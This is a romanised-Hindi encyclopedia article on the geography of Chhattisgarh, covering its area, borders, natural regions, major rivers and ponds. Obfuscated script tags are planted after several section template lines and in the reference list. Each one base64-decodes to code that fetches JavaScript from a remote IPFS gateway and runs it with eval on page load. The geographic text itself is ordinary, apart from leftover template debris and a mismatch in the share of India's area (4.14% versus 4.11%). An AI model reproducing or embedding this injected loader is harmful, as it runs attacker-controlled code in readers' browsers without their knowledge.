छत्तीसगढ़ का भूगोल

भारत डिस्कवरी प्रस्तुति
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chhattisagadh ka bhoogol
vivaran chhattisagadh bharat ka 26vaan rajy hai. isaka bhoo-bhag sampoorn bharat ke bhoo-bhag ka kul 4.14% hai. is prakar kshetraphal ke hisab se yah desh ka 9vaan b da rajy hai.
bhaugolik sthiti dakshin-poorv mean 17°46' uttari akshaansh se 24°5' uttari akshaansh tatha 80°15' poorvi deshaantar se 84°15' poorvi deshaantar rekhaoan ke madhy.
kshetraphal 1,35,361 varg ki.mi.
simavarti rajy uttar mean uttar pradesh, uttari-poorvi sima mean jharakhand, dakshin-poorv mean odisha, dakshin mean andhr pradesh, dakshin-pashchim mean maharashtr tatha uttari-pashchim bhag mean madhy pradesh
mandal 5
ziloan ki sankhya 27
prakritik khand tin (uttar mean satapu da, madhy mean mahanadi aur usaki sahayak nadiyoan ka maidani kshetr, dakshin mean bastar ka pathar).
pramukh nadiyaan mahanadi, shivanath nadi, kharoon nadi, pairi nadi, hasado nadi adi.
any janakari chhattisagadh mean talaboan ki sankhya bahut jyada hai. yahaan ki bahut sari jagahoan ka nam talab ke sath ju da hua hai, jaise- katora talab, boodha talab adi.
bahari k diyaan adhikarik vebasait

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chhattisagadh rajy madhy pradesh ke dakshin-poorv mean 17°46' uttari akshaansh se 24°5' uttari akshaansh tatha 80°15' poorvi deshaantar se 84°15' poorvi deshaantar rekhaoan ke madhy sthit hai. isaka kul bhaugolik kshetraphal 1,35,361 varg ki.mi. hai. isaki uttari-dakshin lambaee 360 ki.mi. tatha poorv-pashchim chau daee 140 ki.mi. hai. chhattisagadh ko "dhan ka katora" kaha jata hai.

simaankan

chhattisagadh ke uttar mean uttar pradesh, uttari-poorvi sima mean jharakhand, dakshin-poorv mean odisha rajy sthit hai. dakshin mean andhr pradesh, dakshin-pashchim mean maharashtr tatha uttari-pashchim bhag mean madhy pradesh sthit hai.

kshetraphal

rajy mean 5 mandal v 27 zile haian. yah pradesh bharat ke kul kshetraphal ka 4.11% hai. kshetrephal ki drishti se chhattisagadh ka kshetraphal 16 rajyoan se adhik hai. yah rajy anek chhote-chhote rajyoan se b da hai. chhattisagadh ka kshetraphal panjab, hariyana evan keral in tinoan rajyoan ke yog se adhik hai. isake alava chhattisagadh ka sambhag bastar (39,114 varg ki.mi.) ka vistar keral ke kshetraphal se b da hai. chhattisagadh mean gaanvoan ki sankhya 19,720 hai. chhattisagadh kahi ooanchi to kahian nichi parvat shreniyoan se ghira hua hai. is kshetr mean bahut sare jangal haian, jahaan sal, sagaun, saja aur bija ke pe doan ki adhikata hai. baans ke jangal bhi bahut haian.[1]

upajaoo bhoomi

chhattisagadh ki bhoomi bahut upajaoo hai. is kshetr ke bich mean mahanadi aur usaki sahayak nadiyaan ek vishal maidan nirmit karati haian, jo lagabhag 80 ki.mi. chau da aur 322 ki.mi. lamba hai. samudr satah se yah maidan karib 300 mitar ooancha hai. is maidan ke pashchim mean mahanadi tatha shivanath ka doab hai. is maidan ke bich mean se gujarati hai mahanadi. is maidani kshetr ke bhitar hai- rayapur, durg aur bilasapur zile ke dakshini bhag. yah kshetr bahut hi upajaoo hai.

prakritik khand

is maidani kshetr ke uttar mean hai maikal parvat ki shrriankhala. saraguja ki uchchatam bhoomi eeshan mean hai. poorv mean hai u disa ki chhoti-b di paha diyaan aur agney mean hai sihava ke parvat shrriang. dakshin bastar mean haian giri-malaean. chhattisagadh ke tin prakritik khand haian-

  1. uttar mean satapu da
  2. madhy mean mahanadi aur usaki sahayak nadiyoan ka maidani kshetr
  3. dakshin mean bastar ka pathar

pramukh nadiyaan

chhattisagadh mean anek nadiyaan haian. pramukh nadiyaan haian- mahanadi, shivanath, kharoon tatha pairi.[1]

mahanadi

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Mahanadi.jpg|thumb|150px|mahanadi]] mahanadi sihava parvat se nikalati hai. yah uttar poorv ki or bahati huee dhamatari aur rajim hoti huee balauda bazar ki uttari sima tak pahuanchati hai. isake bad mahanadi apani dhun mean bahati-bahati poorv ki or mu dakar rayapur ko bilasapur zile se alag kar deti hai. garmiyoan mean mahanadi sookh jati hai, par varsha hone ke bad usaka roop badal jata hai. julaee se faravari mean usamean navean bhi chalati haian. pahale to mahanadi aur usaki sahayak nadiyoan ke madhyam se chhattisagadh mean paida hone vali vastuoan ko samudr ke nikat sthit bazaroan tak bheja jata tha. mahanadi ki pramukh sahayak nadiyaan haian- hasado, joank v shivanath.

shivanath nadi

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Shivnath-River.jpg|thumb|150px|shivanath nadi]] yah nadi mahanadi ki pramukh sahayak nadi hai. yah durg zile ki dakshin-pashchim sima se nikalati hai. phir uttar ki or bahati huee rayapur zile ke balauda bazar tahasil ke uttari bhag mean jakar yah mahanadi mean mil jati hai. mahanadi aur shivanath jahaan milati haian, vah jagah jaisar gaanv ke najadik hai. shivanath nadi ke kuchh bhagoan mean sirph varsha ke samay hi navean chalati haian aur kahian-kahian kuchh bhagoan mean julaee se faravari tak navean chalati haian.

kharoon nadi

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Kharun-River.jpg|thumb|150px|kharoon nadi]] shivanath agar mahanadi ki pramukh sahayak nadi hai, to kharoon shivanath ki pramukh sahayak nadi hai. yah nadi durg zile ke sanjari se aur phir rayapur tahasil ki sima se bahati huee somanath ke pas shivanath nadi mean mil jati hai. isi jagah par yah bemenay aur balauda bazar tahasil ko alag karati hai. balauda bazar ke uttar mean arapa nadi, jo bilasapur zile se nikalati hai, shivanath se a milati hai. hav da-nagapur relamarg is kharoon nadi ke oopar se gujarata hai. kharoon mean ek shanti hai, jo dekhane valoan ko apani or khianchati haian.

pairi

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pairi nadi bhi mahanadi ki sahayak nadi hai. yah nadi vrindanakagadh jamiandari se nikalati hai. isake bad uttar-poorv disha ki or karib 96 ki.mi. bahati huee rajim kshetr mean mahanadi se milati hai. pairi nadi dhamatari aur rajim ko vibhajit karati hai. is nadi ke tat par sthit hai, 'rajivalochan ka mandir'. rajim mean pairi, mahanadi aur soandhoo nadiyoan ka triveni sangam sthal hai.[1]

talab

chhattisagadh mean talaboan ki sankhya bahut jyada hai. ye talab varsha ke pani se bharate haian. shaharoan mean talab bharakar makan banaye ja rahe haian, jo bhavishy mean pani ki samasya ke roop mean prakat hoga. rayapur, chhattisagadh ki rajadhani mean bis sal pahale dher sare talab hua karate the. aj jagahoan ke nam se pata chalata hai ki vahaan pahale talab hua karata tha. yahaan ki bahut sari jagahoan ka nam talab ke sath ju da hua hai, jaise- katora talab, boodha talab adi. gaanv mean bhi talaboan ki sankhya doosare kshetr se kee guna adhik hai.


  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 chhattisagadh ki bhaugolik sthiti (hindi) ignika. abhigaman tithi: 11 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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bharat ke rajyoan ka bhoogol

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varnamala kramanusar lekh khoj

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